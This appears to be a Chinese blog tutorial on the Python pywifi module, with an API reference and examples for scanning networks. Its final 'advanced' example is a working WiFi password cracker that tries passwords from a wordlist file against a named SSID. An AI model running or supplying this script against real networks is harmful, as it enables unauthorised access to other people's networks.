Python__模块(网络-WIFI)__pywifi

简介

关于无线网络的模块

安装

pip install pywifi

pip install comtypes


参数列表

获取网卡接口pywifi.PyWiFi()
获取第一个无线网卡pywifi.PyWiFi().interfaces[0]
interface类下的函数
获取无线网卡名称name()
调用无线网卡扫描可用的无线网络(AP)scan()

获取scan函数的扫描结果,

返回的是Profile对象列表

scan_results()
添加特定无线网络(AP)以便后续连接add_network_profile()
移除指定的无线网络(AP)remove_network_profile()

删除所有AP配置文件

(为了下一次新的连接)

remove_all_network_profiles()

获取保存的所有无线网络(AP)

(连接上wifi的时候可以用这个试试,返回连接的wifi的信息)

network_profiles()
连接指定的无线网络(AP)connect()
断掉当前无线网络连接disconnect()
获取当前无线网络连接状态status()
Profile()创建wifi连接文件
Profile().ssidwifi名称

Profile().auth

网卡的开放状态 | auth-AP的认证算法

【例子】

Profile().auth=const.AUTH_ALG_OPEN

akm(AP的密钥管理类型)
const.AKM_TYPE_NONEAP没有安全设置
const.AKM_TYPE_WPAPSKAP处于WPA模式
const.AKM_TYPE_WPA2PSKAP处于WPA2模式
cipher (AP的密码类型)
const.CIPHER_TYPE_NONE

如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONE

const.CIPHER_TYPE_WEP
const.CIPHER_TYPE_TKIP
const.CIPHER_TYPE_CCMP多数情况设置

参考代码

简单例子

import time
import pywifi
from pywifi import const

""" 获取网卡接口 """
wifi = pywifi.PyWiFi()
""" 获取第一个无线网卡 """
iface = wifi.interfaces()[0]

""" 扫描周围wifi列表 """
def wifi_list():
    # 开始扫描
    print("扫描附近wifi...")
    iface.scan()
    time.sleep(15)
    # 在若干秒后获取扫描结果
    device = iface.scan_results()
    # 统计附近被发现的热点数量
    nums = len(device)
    print("数量: %s" % (nums))
    # 实际数据
    wifi_info(device)
    return device

def wifi_info(scans_res):
    for i, w in enumerate(scans_res):
        print(
            "index: {}\t device: {}\t else:{}\t strong : {}".format(
                i + 1, w.ssid, w.bssid, w.signal
            )
        )

wifi_list()

综合例子

import pywifi

wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.scan()
res = iface.scan_results()
print(res)

''' 扫描WIFI(包括信号强度) '''
def lookWifi():
    import time
    import pywifi
    from pywifi import const  # 获取连接状态的常量库
    ''' 初始化wifi '''
    wifi = pywifi.PyWiFi()
    interface = wifi.interfaces()[0]
    interface.scan()
    # 设置时间缓冲
    for i in range(4):
        time.sleep(1)
        print("扫描可用 WiFi 中,请稍后。。。" + str(3 - i), end="")
    # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
    bss = interface.scan_results()
    wifi_name_set = set()
    for w in bss:
        # 解决乱码问题
        wifi_name_and_signal = (
            100 + w.signal,
            w.ssid.encode("raw_unicode_escape").decode("utf-8"),
        )
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表并按信号排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化输出
    while num < len(wifi_name_list):
        print(
            "编号: {:<;6d}信号强度: {:<;8d}SSID: {}".format(
                num, wifi_name_list[num][0], wifi_name_list[num][1]
            )
        )
        num += 1

    # 返回wifi列表
    return wifi_name_list

print(lookWifi())

进阶例子

import time
import pywifi
from pywifi import const  # 获取连接状态的常量库

def wifi_connect(ifaces, pwd):
    
    ifaces.disconnect() # 断开网卡连接
    time.sleep(1)
    wifistatus = ifaces.status() # 获取wifi的连接状态
    # 网卡断开链接后开始连接测试
    if wifistatus == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()          # 创建wifi连接文件
        profile.ssid = "KWANG SOO"          # 要连接的wifi的名称  貌似不能用中文?
        profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放状态 | auth - AP的认证算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # @注释 / wifi的加密算法
                                                    # 一般wifi加密算法时wps  
                                                    # 选择wifi加密方式  akm - AP的密钥管理类型
                                                    # -------------------------------------- /
        profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元(cipher - AP的密码类型)
        profile.key = pwd                       # @注释 / 调用密码
                                                # wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE
                                                # ------------------------------------------------- /
        ifaces.remove_all_network_profiles()    # 删除所有连接过的wifi文件
        # 添加AP配置文件(为了连接)加载新的连接文件ifaces.connect(tep_profile) 参数:(配置文件名)
        tep_profile = ifaces.add_network_profile(profile) 
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True # 条件为真 说明找到密码
        else:
            return False
    else:
        print("已有wifi连接")

def wifi_running():
    wifi = pywifi.PyWiFi()        # 获取网卡接口
    ifaces = wifi.interfaces()[0] # 获取第一个无线网卡
    print("开始破解:")
    path = "password.txt" # 密码本路径(格式:测试的密码/行)
    f = open(path, "r")   # 打开文件
    while True:
        try:
            # 按行读取
            password = f.readline()
            password = password[:-1]  # 去除一行末的换行符
            bool = wifi_connect(ifaces, password)
            print(bool)
            if bool:
                print("密码已破解:", password)
                print("wifi已连接!")
                ifaces.network_profiles()  # 连接上wifi的时候,返回连接的wifi信息
                break
            else:
                print("密码破解中,密码校对:", password)
            if not password:
                print("文件已读取完,退出。")
                f.close()
                break
        except:
            # continue
            print("error")
            
wifi_running()

 

  • 9
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

vip飞梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值